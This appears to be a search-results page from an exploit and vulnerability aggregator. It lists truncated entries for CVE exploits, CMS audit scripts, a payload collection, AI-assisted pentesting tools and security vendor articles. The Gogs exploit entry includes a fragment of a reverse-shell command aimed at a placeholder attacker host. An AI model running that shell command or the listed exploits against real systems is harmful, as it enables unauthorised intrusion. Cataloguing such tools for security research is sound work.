693 matches found
DNG File Generator for Security Testing Masked RGB Tables
This Python script is a research-oriented DNG Digital Negative file generator designed to build a specially crafted image file with controlled metadata structures for security testing of DNG processing engines...
Camaleon CMS 2.9.1 Automated Admin Login, Version Detection, and Profile Update Script
This is a version detection and profile updating script for Camaleon CMS. It does not exploit any issue but can be useful for security testing to see if a vulnerable version is in use...
Exploit for CVE-2026-3462
CVE-2026-3462 Acrobat Reader | Improperly Controlled Modifica...
MetInfo CMS 8.1 XML Endpoint Behavior Analysis Tool
This script is a PHP-based analysis tool designed to interact with MetInfo CMS 8.1 endpoints through an XML-based interface. It uses cURL to send structured requests to a specific MetInfo module endpoint and evaluates the HTTP responses for basic fingerprinting indicators such as known keywords a...
Luban-2040
Luban 2040 v1 Advanced CVE & Exploit Finder Author: m...
Exploit for Special Element Injection in Apache Apisix
CVE-2026-31908 - Apache APISIX Header Injection Exploit !Se...
cruxss-bb-agent
CRUXSS Bug Bounty Agent A semi-autonomous bug bounty hunting...
Exploit for Cross-site Scripting in Roundcube Webmail
CVE-2024-42009 – Roundcube Stored XSS Docker PoC 📌 Overv...
Deterministic + Agentic AI: The Architecture Exposure Validation Requires
Few technologies have moved from experimentation to boardroom mandate as quickly as AI. Across industries, leadership teams have embraced its broader potential, and boards, investors, and executives are already pushing organizations to adopt it across operational and security functions. Pentera’s...
pentest-with-LLM
🛡️ pentest-with-LLM - Run Guided Security Testing !Download...
LLM-Guided Prompt Evolution for Password Guessing
Passwords still remain a dominant authentication method, yet their security is routinely subverted by predictable user choices and large-scale credential leaks. Automated password guessing is a key tool for stress-testing password policies and modeling attacker behavior. This paper applies...
Exploit for Deserialization of Untrusted Data in Facebook React
R2SAE - React2Shell Auto-Exploit A Firefox extension...
Exploit for Path Traversal in Gogs
CVE-2025-8110 — Gogs & /dev/tcp/ATTACKER/4444 0&1"' Cleanu...
Terrapack TkWebCoreNG File Upload Endpoint Audit Tool
This Python script is a simple security audit tool designed to test the file upload interface of applications using TkWebCoreNG. It does not actual exploit anything...
Exploit for Argument Injection in Gnu Inetutils
Telnet Vulnerability Scanner CVE-2026-24061 & CVE-2026-32746...
Caido-Plugin
Github • Documentation  ...
7 Best CTEM Tools to Reduce Your Attack Surface
To truly secure your organization, you have to start thinking like an attacker. An adversary doesn’t care about your endless spreadsheet of CVEs; they look for a single, exploitable path to their objective. So, how do you find that path before they do? You start by using threat intelligence to...
web-attack-payloads
Web Attack Payloads Collection !Cybersecurityhttps://img.s...
PT-2026-25586
Summary Prior to Memray 1.19.2, Memray rendered the command line of the tracked process directly into generated HTML reports without escaping. Because there was no escaping, attacker-controlled command line arguments were inserted as raw HTML into the generated report. This allowed JavaScript...